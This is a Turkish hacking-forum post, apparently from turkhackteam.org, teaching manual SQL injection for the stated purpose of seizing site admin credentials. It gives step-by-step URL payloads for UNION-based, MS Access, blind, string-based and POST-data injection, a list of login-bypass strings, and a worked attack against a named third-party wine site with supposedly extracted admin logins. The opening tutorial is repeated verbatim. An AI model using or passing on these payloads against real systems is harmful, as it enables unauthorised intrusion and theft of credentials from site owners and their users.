Sql Açığı Manuel Bulma

yertua

Katılımcı Üye
7 Ocak 2013
372
0
Sql Açığı Manuel Bulma

Sql İnjection Çoğu Zaman s-c-r-i-p-t Kodlamalarında Yanlış Kodlama Sonucunda Oluşan Güvenlik Açığıdır, Bu Açık Sayesinde Admin Bilgilerini Ele Geçirebiliriz.
Yanlış Kodlama Php ve Asp Sistemlerde ID Değerinde Oluşur.

Başlayalım,
Sql Açığı Manuel Bulma

Sql İnjection Çoğu Zaman s-c-r-i-p-t Kodlamalarında Yanlış Kodlama Sonucunda Oluşan Güvenlik Açığıdır, Bu Açık Sayesinde Admin Bilgilerini Ele Geçirebiliriz.
Yanlış Kodlama Php ve Asp Sistemlerde ID Değerinde Oluşur.

Başlayalım,

Hedef Sitemiz ;

Php-Kodu:
Http://www.hedefite.org/Show.php?id=4
MySql Injection Hatası Almak İçin ID Değerinin Önüne Tırnak İşareti [****] Koyuyoruz.

Şu Şekilde;

Php-Kodu:
Http://Www.hedefSite.Org/Show.php?id=4'
Tırnağı koyup enter'a bastıktan sonra,

-Başka bir veri ekrana dökülebilir, örneğin ekrandaki bir resimse, başka bir resim, yazıysa başka bir yazı görüntülenebilir.
-Direk Mysql Injection Hatası Alınabilir, Beyaz Bir Ekran ve Orada Mysql injection Kodlarının Oluşturduğu Bir Hata Görüntüsü Alırsınız.
-Direk Sayfa İçinde Herhangi Bir Kısımda Hata Alabilirsiniz.

Neyse, Hatayı Aldık Varsayalım ve Devam Edelim.

Şimdi Komutlar Başlıyor,

"Order By ..." Komutu İle Sitenin Sisteminde Kaç Kolon Var Onu Öğrenmemiz Gerekiyor.

O da Şu Şekilde Olacak ;

Php-Kodu:
Http://Www.hedefSite.Org/Show.php?id=4 order by 1
Order By Komutunun Yanındaki "1" Sayısını Hata Alana Kadar Artırıyoruz, 20, 30'a Kadar Devam Eden Kolon Sayıları Vardır, Yılmayın. :)

Şu Şekilde;

Php-Kodu:
Http://Www.hedefSite.Org/Show.php?id=4 order by 2
Php-Kodu:
Http://Www.hedefSite.Org/Show.php?id=4 order by 3
. . .

Php-Kodu:
Http://Www.hedefSite.Org/Show.php?id=4 order by 10
Gibi ~

Hata Kendini Sonunda Belli Eder Zaten, Görürsünüz Evet Bu Hata Dersiniz. Çünkü Artırdığınızda Hep Aynı Şeyler Görülür, Taa ki Hata Alana Kadar.

Onuncu Kolonu Yazdığımızda, Hata Aldığımız Varsayıyorum, Demek ki Kolon Sayımız 9.

Sıra "Union Select ..." Komutuna Geldi, Bu Komutu Öncelikle İşimize Yarayacak Kolon Numaralarını Bulmak İçin Kullanmalıyız.

Union Select Komutunu

Şu Şekilde Kullanacağız ;

Php-Kodu:
Http://Www.hedefSite.Org/Show.php?id=4 union select kaç kolonumuz varsa tek tek virgülle ayırıp yazıyoruz
9 Kolonumuz Olduğunu Varsaydık, O Halde ;

Php-Kodu:
Http://Www.hedefSite.Org/Show.php?id=-4 union select 1,2,3,4,5,6,7,8,9
Bu şekilde Komutumuzu Gireceğiz,

Küçük Bir İpucu, ID Değerinin Önüne Benim Koyduğum Gibi Tire [-] Koymayı Sakın Unutmayın, Aksi Halde Veri Dökülmeyebilir.

Kolonlarımız Ekrana Vuruldu, Ben 1 ve 3 Vurulsun İstiyorum. Nasılsa Benim Anlatımım

Bu Kolon Sayıları Bizim İşlemi Yapmamızda Ana Etmen. Bütün Verileri Bu Kolonlardan Alacağız Çünkü.

Sırada Version Alma İşlemi Var.

Version Almak İçin Elimizdeki Ekrana Vurulmuş Kolon Sayılarından Herhangi Birini Kullanabiliriz.

Şu Şekilde Yapmalıyız.

Php-Kodu:
Http://Www.hedefSite.Org/Show.php?id=-4 union select 1,2,3,4,5,6,7,8,9
Ben 3 numaralı kolon'u kullanmak İstiyorum , O Halde 3 Yerine "version()" komutunu yazıyoruz.

Şu Şekilde;

Php-Kodu:
Http://Www.hedefSite.Org/Show.php?id=-4 union select 1,2,version(),4,5,6,7,8,9
Enter'a Tıkladığımızda, Ekrana Vurulan 3 Sayısı Version'un kaç Olduğunu Gösterir Bize, Çoğu Zaman Version 5 Olur.

Version'uda Öğrendiğimize Göre Sırada Tablo Adı Alma İşlemleri Var, Ben Yine 3 Numaralı Kolonu Kullanacağım.

Tablo alma işlemini yapmak için;

3 yerine "Table_name" ve sayıların sonuna, "from information_schema.tables" komutunu yazıyoruz.

Şu Şekilde ;

Php-Kodu:
Http://Www.hedefSite.Org/Show.php?id=-4 union select 1,2,table_name,4,5,6,7,8,9 from information_schema.tables
Çoğu Zaman İlk Kolon Adı CHARACTER_SETS'tir. Diğer Kolon Adları Çoğu Zaman Görünmez, Göstermek İçin Komutların Sonuna "Limit 1,1" Komutu Ekliyoruz.

Şu Şekilde;

Php-Kodu:
Http://Www.hedefsite.Org/Show.php?id=-4 union select 1,2,table_name,4,5,6,7,8,9 from information_schema.tables limit 1,1
Limit 1,1 komutunu artırarak işimize yarayan tablo adlarını bulabiliriz.

Artırmak için Limit'in önündeki Bir'i (Kırmızı Olarak Belirttiğim) Artırabiliriz.

İşimize Yarayan Tablo İsimleri Neler Olabilir?

Php-Kodu:
Admin, Users, User, Admins, Yonetici, Ayarlar, Config, Yonetim, Login, Logins etc.
Ben Admin Olduğunu Varsayıyorum,

Şimdi Bu Admin'in Kolon Adlarını Bulmak İçin Hex'lememiz Gerekiyor, Hex İşlemini Yapan Siteleri Googleden Bulabilirsiniz

Admin'in Hexlenmiş Hali ;
Php-Kodu:
61646d696e
Şimdi Admin Tablosu Adı Altındaki Kolonları Çekebiliriz.

Kolon Adlarını Çekmek İçin Yine 3. Kolon'umuzu Kullanacağım.

Php-Kodu:
Http://Www.hedefSite.Org/Show.php?id=-4 union select 1,2,column_name,4,5,6,7,8,9 from information_schema.columns where table_name=0x61646d696e
Yani, Table ve Tables Değerlerini Column ve Columns ile Değiştireceğiz ve En Sona Limit 1,1 Komutunu Silere where table_name=0xHex'imizi yazacağız.
Hex'lenmiş Tablo Adının Önüne 0x Koymayı Sakın Unutmayın.

İlk Kolon Adımız Geldi . "ID" Olduğunu Varsayalım, Bu Bizim İşimize Yaramaz, Komutların Sonuna "Limit 1 Offset 1" Komutunu Yazarak ve Offset'i Artırarak İşimize Yarayacak Kolon Adlarını Bulabiliriz.

İşimize Yarayan Kolon Adları Neler Olabilir?

Kullanıcı Adları İçin;
Php-Kodu:
Kadi, User, Username, Usr, Name, Uname, Login etc.
Password İçin;
Php-Kodu:
Password, Passwd, Pass etc.
Ben İşimize Yarayacak Kolon Adlarının "Username ve Password" Olduklarını Varsayıyorum.

Kolon Adlarınıda Bulduğumuza Göre İşimiz Son Olarak Veri Çekmeye Kaldı.

Verimizi Çekmek İçin İşimize Yarayan Kolon Numaralarına, Yani 1 ve 3'e "group_concat(KolonAdı)" komutunu yazacağız.

Şu Şekilde Olacak ;

Php-Kodu:
Http://Www.hedefSite.Org/Show.php?id=-4 union select group_concat(Kolon Adı),2,group_concat(Kolon Adı),4,5,6,7,8,9 from Tablo Adımız
Yani ;

Php-Kodu:
Http://www.hedefsite.org/Show.php?id=-4 union select group_concat(Username),2,group_concat(Password),4, 5,6,7,8,9 from Admin
Bu şekilde yaptığımız takdirde tüm admin bilgileri önümüze düşecektir.
Hedef Sitemiz ;

Php-Kodu:
Http://www.hedefite.org/Show.php?id=4
MySql Injection Hatası Almak İçin ID Değerinin Önüne Tırnak İşareti [****] Koyuyoruz.

Şu Şekilde;

Php-Kodu:
Http://Www.hedefSite.Org/Show.php?id=4'
Tırnağı koyup enter'a bastıktan sonra,

-Başka bir veri ekrana dökülebilir, örneğin ekrandaki bir resimse, başka bir resim, yazıysa başka bir yazı görüntülenebilir.
-Direk Mysql Injection Hatası Alınabilir, Beyaz Bir Ekran ve Orada Mysql injection Kodlarının Oluşturduğu Bir Hata Görüntüsü Alırsınız.
-Direk Sayfa İçinde Herhangi Bir Kısımda Hata Alabilirsiniz.

Neyse, Hatayı Aldık Varsayalım ve Devam Edelim.

Şimdi Komutlar Başlıyor,

"Order By ..." Komutu İle Sitenin Sisteminde Kaç Kolon Var Onu Öğrenmemiz Gerekiyor.

O da Şu Şekilde Olacak ;

Php-Kodu:
Http://Www.hedefSite.Org/Show.php?id=4 order by 1
Order By Komutunun Yanındaki "1" Sayısını Hata Alana Kadar Artırıyoruz, 20, 30'a Kadar Devam Eden Kolon Sayıları Vardır, Yılmayın. :)

Şu Şekilde;

Php-Kodu:
Http://Www.hedefSite.Org/Show.php?id=4 order by 2
Php-Kodu:
Http://Www.hedefSite.Org/Show.php?id=4 order by 3
. . .

Php-Kodu:
Http://Www.hedefSite.Org/Show.php?id=4 order by 10
Gibi ~

Hata Kendini Sonunda Belli Eder Zaten, Görürsünüz Evet Bu Hata Dersiniz. Çünkü Artırdığınızda Hep Aynı Şeyler Görülür, Taa ki Hata Alana Kadar.

Onuncu Kolonu Yazdığımızda, Hata Aldığımız Varsayıyorum, Demek ki Kolon Sayımız 9.

Sıra "Union Select ..." Komutuna Geldi, Bu Komutu Öncelikle İşimize Yarayacak Kolon Numaralarını Bulmak İçin Kullanmalıyız.

Union Select Komutunu

Şu Şekilde Kullanacağız ;

Php-Kodu:
Http://Www.hedefSite.Org/Show.php?id=4 union select kaç kolonumuz varsa tek tek virgülle ayırıp yazıyoruz
9 Kolonumuz Olduğunu Varsaydık, O Halde ;

Php-Kodu:
Http://Www.hedefSite.Org/Show.php?id=-4 union select 1,2,3,4,5,6,7,8,9
Bu şekilde Komutumuzu Gireceğiz,

Küçük Bir İpucu, ID Değerinin Önüne Benim Koyduğum Gibi Tire [-] Koymayı Sakın Unutmayın, Aksi Halde Veri Dökülmeyebilir.

Kolonlarımız Ekrana Vuruldu, Ben 1 ve 3 Vurulsun İstiyorum. Nasılsa Benim Anlatımım

Bu Kolon Sayıları Bizim İşlemi Yapmamızda Ana Etmen. Bütün Verileri Bu Kolonlardan Alacağız Çünkü.

Sırada Version Alma İşlemi Var.

Version Almak İçin Elimizdeki Ekrana Vurulmuş Kolon Sayılarından Herhangi Birini Kullanabiliriz.

Şu Şekilde Yapmalıyız.

Php-Kodu:
Http://Www.hedefSite.Org/Show.php?id=-4 union select 1,2,3,4,5,6,7,8,9
Ben 3 numaralı kolon'u kullanmak İstiyorum , O Halde 3 Yerine "version()" komutunu yazıyoruz.

Şu Şekilde;

Php-Kodu:
Http://Www.hedefSite.Org/Show.php?id=-4 union select 1,2,version(),4,5,6,7,8,9
Enter'a Tıkladığımızda, Ekrana Vurulan 3 Sayısı Version'un kaç Olduğunu Gösterir Bize, Çoğu Zaman Version 5 Olur.

Version'uda Öğrendiğimize Göre Sırada Tablo Adı Alma İşlemleri Var, Ben Yine 3 Numaralı Kolonu Kullanacağım.

Tablo alma işlemini yapmak için;

3 yerine "Table_name" ve sayıların sonuna, "from information_schema.tables" komutunu yazıyoruz.

Şu Şekilde ;

Php-Kodu:
Http://Www.hedefSite.Org/Show.php?id=-4 union select 1,2,table_name,4,5,6,7,8,9 from information_schema.tables
Çoğu Zaman İlk Kolon Adı CHARACTER_SETS'tir. Diğer Kolon Adları Çoğu Zaman Görünmez, Göstermek İçin Komutların Sonuna "Limit 1,1" Komutu Ekliyoruz.

Şu Şekilde;

Php-Kodu:
Http://Www.hedefsite.Org/Show.php?id=-4 union select 1,2,table_name,4,5,6,7,8,9 from information_schema.tables limit 1,1
Limit 1,1 komutunu artırarak işimize yarayan tablo adlarını bulabiliriz.

Artırmak için Limit'in önündeki Bir'i (Kırmızı Olarak Belirttiğim) Artırabiliriz.

İşimize Yarayan Tablo İsimleri Neler Olabilir?

Php-Kodu:
Admin, Users, User, Admins, Yonetici, Ayarlar, Config, Yonetim, Login, Logins etc.
Ben Admin Olduğunu Varsayıyorum,

Şimdi Bu Admin'in Kolon Adlarını Bulmak İçin Hex'lememiz Gerekiyor, Hex İşlemini Yapan Siteleri Googleden Bulabilirsiniz

Admin'in Hexlenmiş Hali ;
Php-Kodu:
61646d696e
Şimdi Admin Tablosu Adı Altındaki Kolonları Çekebiliriz.

Kolon Adlarını Çekmek İçin Yine 3. Kolon'umuzu Kullanacağım.

Php-Kodu:
Http://Www.hedefSite.Org/Show.php?id=-4 union select 1,2,column_name,4,5,6,7,8,9 from information_schema.columns where table_name=0x61646d696e
Yani, Table ve Tables Değerlerini Column ve Columns ile Değiştireceğiz ve En Sona Limit 1,1 Komutunu Silere where table_name=0xHex'imizi yazacağız.
Hex'lenmiş Tablo Adının Önüne 0x Koymayı Sakın Unutmayın.

İlk Kolon Adımız Geldi . "ID" Olduğunu Varsayalım, Bu Bizim İşimize Yaramaz, Komutların Sonuna "Limit 1 Offset 1" Komutunu Yazarak ve Offset'i Artırarak İşimize Yarayacak Kolon Adlarını Bulabiliriz.

İşimize Yarayan Kolon Adları Neler Olabilir?

Kullanıcı Adları İçin;
Php-Kodu:
Kadi, User, Username, Usr, Name, Uname, Login etc.
Password İçin;
Php-Kodu:
Password, Passwd, Pass etc.
Ben İşimize Yarayacak Kolon Adlarının "Username ve Password" Olduklarını Varsayıyorum.

Kolon Adlarınıda Bulduğumuza Göre İşimiz Son Olarak Veri Çekmeye Kaldı.

Verimizi Çekmek İçin İşimize Yarayan Kolon Numaralarına, Yani 1 ve 3'e "group_concat(KolonAdı)" komutunu yazacağız.

Şu Şekilde Olacak ;

Php-Kodu:
Http://Www.hedefSite.Org/Show.php?id=-4 union select group_concat(Kolon Adı),2,group_concat(Kolon Adı),4,5,6,7,8,9 from Tablo Adımız
Yani ;

Php-Kodu:
Http://www.hedefsite.org/Show.php?id=-4 union select group_concat(Username),2,group_concat(Password),4, 5,6,7,8,9 from Admin
Bu şekilde yaptığımız takdirde tüm admin bilgileri önümüze düşecektir.


Kaç Tür SQL İnjection Vardır?

a-) MySql İnjection
Evet kaç tür SQL İnjection saldırısı vardır konu başlığı altında, SQL İnjection türlerini tanıyacağız.
SQL İnjection türlerini bize verdikleri hatalar sayesinde ögreniriz.Yani Normal bir SQL İnjection hatası ile Mysql injection veya access Sql injection arasında dağlar kadar fark mevcut..
Daha öncesinde SQL İnjection açığının tespitini öğrenmiştik.Şimdi Mysql injection açığının hatasına bir göz atalım...

pHKug.jpg


Gördüğünüz gibi normal bir SQL hatasından çok farklı.
Bu açığın kullanımına geçelim;

Aslında normal bir SQL İnj. açığından farklı bir kullanımı yok MySqlin..Ama anlatalım gene de..Mysql versiyonuna göre bazen değişiklik gösterebiliyor.Mysql version 5 olsaydı kolay kolay Veri çekemezdik.Ama artık 4 pek fazla kullanılmadığı için 5 üzerinden devam..

Hedef sitemiz; http://www.paroswines.gr/english/product.php?id=22

Kolon sayısını arayalım; http://www.paroswines.gr/english/product.php?id=22+order+by+1-- yaptık sayfa düzeldi.order by 10 yaptık sayfada tekrar MySql İnjection hatası belirdi.Yani 10 dan küçük olduğunu anlıyoruz Kolonumuzun..

Teker teker iniyoruz; order+by+9-- yaptık.Sayfada hata duruyor.8 Yaptık sayfa düzeldi.Demek ki kolon sayısı 8 miş..
Şimdi kolonları yansıtalım;

bakıyoruz;

Ekrana 3 sayısı yansıdı..3 Üzerinden devam ediyoruz.
Yukarıda SQL Komutlarını görmüştük.Bu yüzden burada anlatmama gerek yok..

http://www.paroswines.gr/english/pr...schema.tables+where+table_schema=database()--

Sorgusunun ardından ekrana tablelar yansıdı;
Tables; admin,kullanicilar,hizmetler,görseller admin tablosu işimizi görür :)
Şimdi admin tablosundaki kolonlara bakalım.

http://www.paroswines.gr/english/pr...able_schema=database()+and+table_name=admin--

Ekrana user,pass,mail yansıdığını farz edelim.



User: admin
Pass: 123456
Email: [email protected]

b-) Ms Access SQL İnjection

Access SQL İnjection tahmine dayalı bir açıktır.Yani netlik ifade etmez..Tablo ismini biz kendi beyin gücümüzle tahmin gücümüzle bulmaya çalışırız.Bana göre en zahmetli injection türü..
SQL İnjection açıklarını hatalarına göre sıralıyorduk..Access SQL İnjection açığının da kendine özgü bir hatası vardır.Bu açığı bu hata ile anlarız.Access SQL İnjection ASP.NET ile kodlanmış sitelerde görülür genellikle.Çok yaygın bir SQL İnjection türüdür..
Hedef bir sitemiz olsun; www.site.com/sayfa.asp?id=1 şeklinde..Şimdi id=1 değernin yanına koyalım açık tespiti için.; www.site.com/sayfa.asp?id=1

Eğer böyle bir hata alıyorsak Ms Access SQL İnjection açığını bulduk demektir ;

Microsoft JET Database Engine error 80040e14
Syntax error in string in query expression id = 10";.
/sayfa.asp, line 7


Şimdi Kolon sayısını ögrenelim, tekrar ORDER BY komutunu kullancaz.
www.site.com/sayfa.asp?id=1+order+by+1 yaptık.Sayfa eski haline geldi.Ekrandaki hata gitti.
www.site.com/sayfa.asp?id=1+order+by+10 yaptık.Sayfa değişti yani farklı bir hata var ; alınan hata ;



Microsoft JET Database Engine error 80040e14
The Microsoft Jet database engine does not recognize 10 as a valid field name or expression.
sayfa.asp, line 7


Bu hatada kolon sayısının 10 dan az bir sayı olduğunu söyliyor bize..Şimdi teker teker inerek devam ediyoruz taaki sayfa düzelene dek..

www.site.com/sayfa.asp?id=1+order+by+9 yaptık aynı hata mevcut.order+by+8 yaptık gene aynı hata mevcut,7 de tekrar hata aldık, 6 yaptık ekrandan hata gitti...Anlıyoruz ki kolon sayısı 6ymış..

Sıra geldi tahmin kısmına.İşimize yarayacak tabloyu tahmin etmemiz gerekiyor.Önce admin tablosundan başlayalım;
www.site.com/sayfa.asp?id=1+union+select+1,2,3,4,5,6+from+admin-- yaptık.karşımıza ;

Hata gelmedi Yani admin diye bir tablo mevcutmuş.Ekrana kolonlar yansıdı, yansıyan kolonlar ; 2-4 olduğunu farz ediyoruz ve 2 ve 4 sayılarına sutün değerini yazıyoruz.Yani;

www.site.com/sayfa.asp?id=1+union+select+1,username,3,password,5,6+from+admin--
Şeklinde..Eğer ekrana username ve password yansımadıysa sutün isimleri username password değildir.

www.site.com/sayfa.asp?id=1+union+select+1,user,3,pass,5,6+from+admin--
Şeklinde Yazdığımızda Ekrana user ve pass yansıdığını göreceğiz.Tabi burada kolonları ve tabloları tahmin olarak yazdık.Tüm sitelerde user pass olacak diye bir kaide yoktur..

User:
mahserat
Pass: bugres

c-) Blind SQL İnjection

Blind SQL İnjection diğer açık türlerinden farklıdır.Yani SQL İnjection açığında id=2 değerinin yanına koyduğumuz ve a sayesinde açık olup olmadığını anlıyorduk.Fakat Blind SQL İnjectionda bu durum değişiyor..Açığı veya a kullanarak almıyoruz. Şöyle bir durum daha var normal SQL İnjection türlerinde hata alırken, Blind Sql injection da hata almıyoruz.
Gene bir hedef site düşünün;
www.sayfa.com/dosya.php?id=2. olsun.

Burada Blind SQL İnj. olup olmadığını şu şekilde anlıyoruz. ;

www.sayfa.com/dosya.php?id=2 and 1=1-- yapıyoruz ilk başta..Sayfada değişiklik olmuyor...
and 1=2-- yaptığımızda sayfa değişiyor.Hata olmuyor ama sayfa değişiyor.Diğer Türlerden ayıran bir özellik de budur.Evet sayfa değiştiği için burada Blind SQL İnjection vardır diyebiliriz.

Hemen MySQL Versiyonunu öğrenelim.Önce and substring(@@version,1,1)=4 komutuyla versiyonun 4 mü olduğa bakıyoruz.

www.sayfa.com/dosya.php?id=2 and substring(@@version,1,1)=4 şeklinde sorgu gönderdik.Sayfada bozulma oldu.Yani 4 değil.Bu sefer and substring(@@version,1,1)=5 komutu ile versiyonun 5 olup olmadığına bakalım.

www.sayfa.com/dosya.php?id=2 and substring(@@version,1,1)=5 sorgu gönderdiğimizde sayfada sorun yoksa eğer demek ki MySQL Versiyonu 5 miş..

Eğer versiyonu 4 olsaydı tahmin yoluyla yapmak zorunda kalırdık.Şimdi tabloları çekelim;

www.sayfa.com/dosya.php?id=2 and substring((select table_name from information_schema.tables where table_name like 0x257573657225),1,1)=0x75 komutunu yazacağız.Burada dedik ki içerisinde users geçen ilk tablonun ilk harfi 0x75 yani umu eğer u ise demek ki sayfa düzgün açılacak..Tablonun Users olduğunu farz ederek devam ediyorum..

www.sayfa.com/dosya.php?id=2 and substring((select column_name from information_schema.columns where table_name=0x7573657273 limit 2,1),1,50) like 0x257061737325

burada 0x7573657273 bu users demek like 0x257061737325 buda pass demek yani yine deniyoruz.Burada limit 2 dedim.Nedeni ise genelde user ve pass sitede 0,1 ve 2. kolonlarda olur.Bu arada gördüğünüz 0x ile başlayan sayılar sizinde bileceğiniz üzere Hexdir.

Şimdi user sutünunu çekelim..

www.sayfa.com/dosya.php?id=2 and substring((select column_name from information_schema.columns where table_name=0x7573657273 limit 1,1),1,50) like 0x75736572

Diyelim ki İki kolonud a doğru tahmin ettik.Şimdi ne var elimizde user ve pass kolonları var.İçerisindeki veriyi çekelim;
and substring((select user from users),1,1)=0x(tahmin edilen users..)
and substring((select pass from users),2,1)=0x(tahmin edilen users..)

Bu şekilde Hex ile harf harf tahmin ederek teker teker çekiyoruz..
Biraz zordur Blind SQL İnjection.Ama pes etmemek gerekir.

d-) String SQL İnjection

Normal bir SQL İnjection saldırısında ne yapıyorduk? Önce veya a koyarak SQL Hatası alıyorduk.Daha sonra ORDER BY komutu ile kolon sayısını öğrenip devam ediyorduk.String SQL İnjectionda işler değişiyor.Yani normal saldırıdaki gibi , a koyuyoruz ama ORDER BY ile kolon sayısını öğrenmek istediğimizde öğrenemiyoruz.Yani;

www.site.com/sayfa.php?id=1+order+by+1-- yapiyoruz.Sayfa eski haline dönüyor.
www.site.com/sayfa.php?id=1+order+by+99999999999999999-- yapıyoruz sayfada bir hata olmuyor sayfa değişmiyor.Bu String SQL İnjectiondur..Hemen kullanımına geçiyoruz.;

www.site.com/sayfa.php?id=1 yaptık SQL Hatası aldık..Hemen kolon öğrenelim;
www.site.com/sayfa.php?id=1+order+by+10-- Yaptık.Sayfa eski haline geldi.Hata yok;
www.site.com/sayfa.php?id=1+order+by+100-- Yaptık.Sayfada gene bir hata söz konusu değil.
www.site.com/sayfa.php?id=1+order+by+1000-- gene bir hata yok.Burada String devreye giriyor.

Hemen bakalım; www.site.com/sayfa.php?id=1 and x=x yaptık.Sayfa değişmedi hata vermedi.Burada sitemizin x=x mi olduğunu sorguladık.Bir değişiklik olmadı yani bize olumlu yönde cevap verdi..

www.site.com/sayfa.php?id=1 and x=y dedik.Bize olumsuz bir yanıt verdi.Girdiğimiz and x=y komutu ile siteye x=y mi diye sorduk.Olumsuz bir yanıt almıştık.Site bize X Nasıl Y ye eşit olabilir diye fırça attı :)

Biraz olsa Blind SQL İnjectiona benziyor bu tür..


Hemen kolon sayısını çekelim; www.site.com/sayfa.php?id=-1 union select+0,1,2,3.. and x=x diye sorgu gönderiyoruz.Fakat burada 0,1,2,3. dikkat.Önce 0 dan başlıyoruz.teker teker ilerliyoruz.Sayfaya kolon sayıları yansıyana kadar devam ediyoruz.Ekrana 2 nin yansıdığını farz ederek devam edelim.;

www.site.com/sayfa.php?id=9999999.9 and union select+0,1,(select group_concat(table_name)+from+informations_schema.tables+where+table_schema=database()),3 and x=x

Yansıyan kolon sayısı 2 idi.Bizde 2 üzerinden işleme devam ettik.Normal şartlarda from+information.... sorgusu satırın sonunda iken burada tüm görevi 2. kolona devrettik.Fakat unutmayalım Parantezler içerisinde.

Evet tablolar yansıdı.Örnek olarak admin tablosunun yansıdığını farz edelim ve devam edelim.

www.site.com/sayfa.php?id=9999999.9 and union select+0,1,(select group_concat(column_name)+from+informations_schema.columns+where+table_schema=database()+and+table_name=admin),3 and x=x

Evet admin tablosundaki sutünları yani kolonları yansıttık.Kolonlar; email,id,username,password olduğunu farz ediyoruz..

www.site.com/sayfa.php?id=9999999.9 and union select+0,1,(select group_concat(username,password)+from+admin),3 and x=x


Şeklinde K.adı ve Şifreyi çektik..

e-) SQL İnjection Login Bypass

SQL İnjection Login Bypass çok basit bir injection türüdür.Web Sitelerindeki Login Kısımlarında meydana gelen bu açık birçok web sitesinde mevcuttur.Bir admin panelini hedef alarak saldırıya başlayalım;

ZUwqt.jpg


Bu tarz bir login kısmı olduğunu farz edelim.Burada Kullanıcı adını ve Şifresini bypass edeceğiz..Peki nasıl
SQL İnjection da login panelleri için bypass kodları mevcuttur.Bunlardan birkaçını vereyim sizlere;



admin--
or 0=0 --
or 1=1
or 1
or
" or 0=0 --
or 0=0 --
or 0=0 #
" or 0=0 #
or 0=0 #
or x=x
" or "x"="x
) or (x=x
or 1=1--
" or 1=1--
or 1=1--
or a=a--
" or "a"="a
) or (a=a
") or ("a"="a
hi" or "a"="a
hi" or 1=1 --
hi or 1=1 --
hi or a=a
hi) or (a=a
hi")or("a"="a



Bu kodlar sayesinde Login kısmını bypass edebiliriz.Bu açık çoğu web sayfasında mevcuttur.Genellikle panel yolu /admin/admin.php olan web sitelerinde gözüme batmadı değil..Evet bir bakalım kendimize bir bypass kodu seçiyoruz.

OR = kodunu seçtim..Şimdi gerekli text kısımlarına yazalım..

qRv0L.jpg


Evet resimde görüldüğü gibi Kullanıcı adı ve şifre kısmına kodumuzu yazdık.Giriş Yap diyoruz;

ouTlC.jpg


Görüldüğü üzere giriş başarılı oldu :) Evet Login bypass bu kadar basit bir mevzu..


f-) PostData SQL İnjection

Bu injection türü ASP.NET sitelerde textboxlarda mevcut olan bir açıktır.Diğer HTML sitelerde ise <input type=text larda mevcut bir açık türüdür..Çok basittir.Normal bir SQL İnjection açığıda sitede açık analizi yapma şeklimiz şuydu; www.site.com/sayfa.php?id=1 idi..Burada adı üstünde POSTDATA yani POST Methotlarının kullanıldığı yerlerde bu injection saldırısını yapacağız.Peki nasıl?

Şimdi iki adet text kısmı düşünün Kullanıcı adı ve Şifreden oluşan...

ivD5Q.jpg


Şeklinde...Burada 2 adet Text mevcut.Buraya injection saldırısı yapacağız.Şimdi gördüğümüz Textlere Normal İnjectiondaki saldırılar gibi veya a karakterlerini ekliyoruz.

8oOEb.jpg


Evet ekledikten sonra GÖNDER botunona basıyoruz.Karşımıza

rhSD.jpg


Şöyle bir SQL İnjection hatası çıkarsa, bu login dosyasında SQL İnjection açığı mevcuttur diyebiliriz.Şimdi tekrar login kısmına geri dönüyoruz ve kaynak kodunu göster diyoruz.

<form name="t1" method="POST" action="login.aspx">

Kaynak kodundaki önemli olan yer üstteki Method dur.Yani gönderilen veri POST Methoduyla gönderilmelidir..POST un diğer Methodlardan farkı ise POSTun hızlı ve güvenilir olmasıdır.

Peki bu açığı nasıl kullanacağız?
Kaynak kodunu alıyoruz bir notepada yapıştırıyoruz.Daha sonra <form name="t1" method="POST" action="login.aspx"> Kodundaki POST Methodunu GET Methoduna çeviriyoruz.Daha sonra login.aspx dosyasının tam yolunu belirtiyoruz.Yani ;

<form name=t1 method=GET actionhttp://site.com/login.aspx>


Kaynak kodlarında bu kısmı bu şekilde düzetip html uzantılı kaydediyoruz.Daha sonra tekrar bir tarayıcıda açıyoruz ve textlere a koyuruz.Linkte ; www.site.com/login.aspx?kadi=a&sifre=a&Submit=G%F6nder şeklinde gözükecektir. www.site.com/login.aspx?kadi=aa şekline SQL İnjection toolarıyla açığı kullanabilirsiniz.
SQL İnjection saldırısını ve türlerini iliklerine kadar biliyorsunuz artık :)
 
Moderatör tarafında düzenlendi:
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.